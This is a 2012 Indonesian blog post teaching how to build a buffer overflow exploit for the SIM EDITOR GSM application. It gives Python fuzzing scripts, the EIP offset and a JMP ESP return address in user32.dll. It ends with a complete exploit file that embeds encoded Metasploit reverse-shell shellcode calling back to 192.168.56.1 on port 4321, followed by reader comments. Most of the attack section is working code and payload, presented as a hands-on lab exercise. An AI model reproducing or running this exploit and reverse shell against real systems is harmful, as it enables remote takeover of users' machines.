Senin, 02 Januari 2012


Kali ini saya akan mencoba membagi pengalaman yaitu belajar membuat exploit sendiri, pada experimen ini kita akan menggunakan aplikasi SIM EDITOR GSM. sebelum kita memulai exeperimen kita, ada hal-hal yang perlu kita siapkan yaitu :

=> windows xp3 (taruh saja di virtualbox)
=> Immunity debugger
=> python
=> aplikasi abal-abal


siap,,,? ini adalah sedikit pengetahuan tentang register dari digital-echidna yang akan membatu kita dalam proses fuzzing.

Ketika kita bermain dengan Buffer Overflow, pengetahuan tentang CPU Register wajib diketahui. Sebuah CPU berbasis Intel x86 menggunakan 8 register sebagai tujuan umum, yaitu: EAX, EDX, ECX, ESI,EDI, EBP, ESP dan EBX.

Setiap register di desain untuk tujuan tertentu, dan masing-masing melaksanakan fungsinya yang memungkinkan CPU untuk memproses informasi secara efisien.

Register EAX, digunakan untuk melakukan perhitungan serta menyimpan nilai kembali dari pemanggilan fungsi (function calls). Operasi dasar seperti menambah, mengurangi, dan membandingkan dioptimalkan pada penggunaan register EAX. Khusus operasi lainnya seperti perkalian dan pembagian juga hanya di dalam register EAX.

Register EDX adalah Data Register. Pada dasarnya merupakan perpanjangan dari EAX untuk (membantu) menyimpan data tambahan untuk operasi kompleks. Hal tersebut juga dapat digunakan untuk general purpose data storage.

Register ECX, juga disebut register count, digunakan untuk operasi perulangan. Operasi perulangan bisa menyimpan string atau menghitung angka.

Register ESI dan EDI diandalkan oleh loop yang mengolah data. Register ESI adalah indeks sumber (S pada ESI berarti Source yang berarti sumber) untuk operasi data dan memegang lokasi input data
stream. Register EDI menunjuk ke lokasi di mana hasil operasi data disimpan, atau indeks tujuan (D pada EDI berarti Destination yang berarti tujuan).


Register ESP adalah stack pointer, dan Register EBP adalah base pointer. Register ini digunakan untuk mengatur pemanggilan fungsi dan operasi stack. Bila fungsi ini dipanggil, fungsi argumen akan
didorong ke dalam stack dan diikuti oleh alamat pengirim (return address). ESP menunjuk pada bagian paling atas dari stack, sehingga akan menunjuk ke alamat pengirim (return address). Sedangkan EBP digunakan untuk menunjuk ke panggilan stack di bawah.

Register EBX adalah satu-satunya register yang tidak dirancang untuk sesuatu yang khusus. Tapi dipakai untuk penyimpanan ekstra.

Register EIP adalah register yang menunjuk ke instruksi yang saat ini sedang dijalankan. Ketika CPU bergerak dalam biner, alamat EIP selalu diperbarui untuk menentukan lokasi dimana eksekusi ini terjadi.

nah cukup dulu pengetahuan tentang register CPU,,,

Verifikasi Bug :

Sebelum kita membuat exploit untuk aplikasi diatas, kita harus membuat fuzzer yaitu fungsinya untuk mengetest aplikasi, dan mencari titik kelemahan dari aplikasi tersebut. nah dari fuzzer itu kita akan mengetahui bahwa ketika aplikasi sim editor membuka file.sms yang berisi 1000 karakter akan mengalami crash.

#!/usr/bin/python
file = 'crash.sms'

shit = 'x\41' * 1000

f = open(file,'w')
f.write(shit)
f.close()

jalankan script diatas, maka akan terdapat sebuah file yaitu crash.sms yang berisi huruf 'A' sebanyak 1000 karakter. sekarang jalankan immunity debugger dan aplikasi kita yaitu sim editor. lalu attach aplikasi tersebut. setelah kita attach, kita akan mencoba membuka file crash.sms dengan menggunakan sim editor untuk mengetahui apakah aplikasi tersebut mengalami crash atau tidak...?



loch kemana aplikasinya..? ilang..? wah ini yang namanya rezeki. dari sini kita dapat pastikan bahwa aplikasi tersebut mengalami overflow. 

Nah agar buffer overflow dapat kita kontrol, kita harus menguasai alur eksekusi dari aplikasi tersebut. Caranya adalah dengan menguasai Instruction Pointer atau bisa disebut EIP, yang merupakan bagian dari CPU registers. Instruction Pointer akan berisi perintah yang diekseskusi saat ini dan yang akan dieksekusi selanjutnya.


perlu diketahui bahwa pada sistem Intel x86, sebuah alamat akan ditulis dalam format little-endian (dibaca terbalik). Jadi ketika terlihat diatas sebagai AAAA berarti tetap dibaca sebagai AAAA, namun apabila EIP tertimpa dengan karakter ABCD berarti menjadi 44434241.


oke sekarang tugas kita adalah mencari pada byte ke berapa EIP ter-overwrite. pada umumnya kita bisa menggunakan module dari metasploit framwork untuk menyelesaikan masalah ini. yaitu patter_create.rb dan akan kita hitung dengan menggunakan pattern_offest.rb, namun kita mempunyai masalah jika kita terapkan ke aplikasi ini, karna aplikasi ini secara default hanya membaca ASCII bukan assembly. trus gimana donk..? || manual....!!!

ya,,, kita harus melakukannya dengan manual... caranya adalah memodifikasi fuzzer kita. tadi aplikasi akan crash ketika kita buat sebuah file berisi huruf 'A' sebanyak 1000 karakter. terus dari seribu tersebut kita bagi dua, jadi 500. nah 500 pertama kita isi huruf 'A' dan 500 yang kedua kita isi huruf 'B'. 

#!/usr/bin/python

file = 'crash.sms'

shit = 'A' * 500
shit += 'B' * 500

f = open(file,'w')
f.write(shit)
f.close()
jalankan immunity debugger dan aplikasi sim editor, attach aplikasi tersebut. dan kita akan melihat,,,

bahwa EIP ter-overwrite pada 500 byte kedua, sekarang kita akan memodifikasi kembali fuzzer kita. disini kita akan membagi 500 byte kedua tadi menjadi lima bagian yaitu masing-masing mendapatkan 100 byte..

#!/usr/bin/python
file = 'crash.sms'

shit = 'A' * 500
shit += 'A' * 100
shit += 'B' * 100
shit += 'C' * 100
shit += 'D' * 100
shit += 'E' * 100

f = open(file,'w')
f.write(shit)
f.close()

jalankan immunity debugger dan aplikasi sim editor, attach aplikasi tesebut. jalankan sript tersebut. buka file smsnya menggunakan sim editor, lihat apa yang akan terjadi...?



dari sini kita bisa pastikan bahwa EIP ter-overwrite pada byte ke 800, tapi 800 berapa...? ulangi langkah diatas hingga ketemu bahwa EIP ter-overwrite pada 810. gag percaya...? kita coba memodifikaksi fuzzer kita dan lihat hasilnya.

#!/usr/bin/python
file = 'crash.sms'

shit = 'A' * 810
shit += 'EFBEADDE'

f = open(file,'w')
f.write(shit)
f.close()

jalankan immunity debugger dan aplikasi sim editor, attach aplikasi tesebut. jalankan sript tersebut. buka file smsnya menggunakan sim editor...



sesuai dengan harapan kita, sekarang EIP dapat kita kendalikan. sekarang tugas kita adalah mencari return addres. Kita akan menggunakan instruksi JMP ESP atau CALL ESP. instruksi ini akan dengan mudah ditemukan pada DLL aplikasi tersebut. Jadi cara kerjanya, kita akan menimpa alamat EIP dengan alamat CALL/JMP esp, dengan begitu ketika EIP tertimpa, maka dia akan membaca instruksi
CALL/JMP ESP dan membawa kita ke ESP.


ada dua cara untuk mencari JMP atau CALL ESP yaitu:


=> menggunakan immunity debugger yaitu memilih dll yang akan menjadi batu loncatan dengan cara melihat semua dll yang load oleh aplikasi tersebut, pilih dll yang akan dibuat batu loncatan dengan cara diclick 2x, dan klick kanan untuk search for > command








=> copy dll yang akan digunakan sebagai batu loncatan ke system utama, disini saya menggukan backtrack. setelah itu kita cari dengan menggunakan module dari metasploit yaitu msfpescan. dll yang digunakan yaitu user32.dll



terserah anda akan menggunakan cara yang ke pertama atau cara yang kedua. setelah kita menemukan alamat JMP ESP di modul user32.dll, kita modifikasi fuzzer kita...


#!/usr/bin/python

file = 'crash.sms'


shit = 'A' * 810
shit += '5393427e' #JMP ESP 7e429353
shit += 'B' * (1250 -len(shit))


f = open(file,'w')
f.write(shit)
f.close()


jangan lupa untuk menuliskan alamat dengan format litle endian( secara terbalik). Kali kita akan melakukan breakpoint terhadap posisi JMP ESP agar kita mengetahui dengan pasti bahwa EIP tertimpa dengan JMP ESP dari user32.dll, Untuk melakukan breakpoint, klick kanan pada alamat JMP ESP kita yaitu 7e429353 dan pilih breakpoint > Memory on access







setelah melakukan breakpoint pada alamat tersebut. buka file sms dengan aplikasi tersebut dan lihat hasilnya..


disini kita akan berhenti pada alamat JMP ESP, itu artinya EIP berjalan dengan dengan sesuai harapan. tekan f7 untuk meneruskan ke stack ESP, disana terlihat bahwa stack telah terpenuhi olek karakter 'B'. shellcode siap diluncurkan.

membuat shellcede, kita akan menggunkan module metasploit yaitu msfweb. shellcode yang kita buat adalah reverse shell pada port 4321 dengan alamat local 192.168.56.1.

result :
/* win32_reverse -  EXITFUNC=process LHOST=192.168.56.1 LPORT=4321 Size=314 Encoder=ShikataGaNai http://metasploit.com */
unsigned char scode[] =
"\xbf\x7a\x09\xb1\x58\x29\xc9\xb1\x49\xdd\xc2\xd9\x74\x24\xf4\x5e"
"\x31\x7e\x0e\x83\xc6\x04\x03\x04\x03\x53\xad\x04\x79\x78\x03\x1c"
"\x87\x81\x63\x23\x18\xf5\xf0\xff\xfd\x82\x4c\xc3\x76\xe8\x4b\x43"
"\x88\xfe\xdf\xfc\x92\x8b\xbf\x22\xa2\x60\x76\xa9\x90\xfd\x88\x43"
"\xe9\xc1\x12\x37\x8e\x02\x50\x40\x4e\x48\x94\x4f\x92\xa6\x53\x74"
"\x46\x1d\xb4\xff\x83\xd6\x9b\xdb\x4a\x02\x45\xa8\x41\x9f\x01\xf1"
"\x45\x1e\xfd\x0e\x5a\xab\x88\x7c\x86\xb7\xeb\xbf\xf7\x1c\x8f\xb4"
"\xbb\x92\xdb\x8a\x37\x58\xab\x16\xe5\xd5\x0c\x2e\xab\x81\x02\x60"
"\x5d\xbe\x4b\x83\xb7\x58\x3f\x1d\x50\x96\x8d\x89\xd7\xab\xc3\x16"
"\x4c\xb3\xf4\xc0\xa7\xa6\x09\x2b\x68\xc6\x24\x14\x01\xdd\xaf\x2b"
"\xfc\x16\x32\x7e\x95\x24\xcd\x50\x01\xf0\x38\xa5\x7f\x55\xc4\x93"
"\xd3\x09\x69\x48\x97\xfe\xce\x3d\xe8\xd1\xb9\x01\xbe\xea\x38\xe7"
"\xd7\x1a\xda\x81\x74\x92\xfd\xd8\x13\x48\x04\x48\x83\xc7\x08\x5a"
"\x2e\xf8\xa7\x37\x50\x28\x21\xdd\xca\xaf\xc6\x42\x7e\x5a\x47\xdd"
"\xa9\x56\xee\x3a\xc3\x22\x78\x26\x25\x6b\x89\x0c\xd3\xe2\x93\xae"
"\x9e\xd9\x95\x0c\x33\xaf\x10\xa8\xe0\x04\x4f\xa0\x84\xa4\x23\x26"
"\x96\x2c\x6c\xb9\xbe\x94\x3b\x17\x6e\x7a\x95\xfd\x91\x2d\x44\x54"
"\xc3\x32\xb6\x3e\x4e\x15\x32\x70\xc3\x59\xeb\xe6\x1b\x5a\x23\x09"
"\x33\xcd\xab\x8c\x72\x77\xcb\x1b\x7f\x77\xe5\x1c\x08\x7b\xf5\x32"
"\x9f\xfd\xd2\x50\x13\x51\x1c\x42\x2b\x85";

berhubung aplikasi ini hanya membaca ascii, kita akan menghilangkan karakter '\x' pada shellcode. modifikasi fuzzer,,,!!!


#!/usr/bin/python

file = 'crash.sms'

shit = '\x41' * 810  
shit += '5393427e'   #JMP ESP 7e429353
shit += '90' * 16    #pause / landasan shellcode

shit += ('bf7a09b15829c9b149ddc2d97424f45e'
'317e0e83c60403040353ad047978031c'
'8781632318f5f0fffd824cc376e84b43'
'88fedffc928bbf22a26076a990fd8843'
'e9c112378e0250404e48944f92a65374'
'461db4ff83d69bdb4a0245a8419f01f1'
'451efd0e5aab887c86b7ebbff71c8fb4'
'bb92db8a3758ab16e5d50c2eab810260'
'5dbe4b83b7583f1d50968d89d7abc316'
'4cb3f4c0a7a6092b68c6241401ddaf2b'
'fc16327e9524cd5001f038a57f55c493'
'd309694897fece3de8d1b901beea38e7'
'd71ada817492fdd81348044883c7085a'
'2ef8a737502821ddcaafc6427e5a47dd'
'a956ee3ac3227826256b890cd3e293ae'
'9ed9950c33af10a8e0044fa084a42326'
'962c6cb9be943b176e7a95fd912d4454'
'c332b63e4e153270c359ebe61b5a2309'
'33cdab8c7277cb1b7f77e51c087bf532'
'9ffdd25013511c422b85')

shit += 'B' * (1250 -len(shit)) 

f = open(file,'w')
f.write(shit)
f.close()


sekarang jalankan sim editor tanpa debugger. sebelum membuka file sms , kita harus membuka port 4321 yang nantinya untuk menerima shell dari system target...


MANSSSTABBBB,,,,!!! ckckckckc

4 komentar:

mrp mengatakan...

Manstab KK!!! Mohon pencerahannya..

Onyiing mengatakan...

mantaaabbbbb bener gan, ane praktekin ntar

monyonk mengatakan...

#nangis

KUMΞL mengatakan...

judulnya kok rada galau ya kak?
(-_-")

Posting Komentar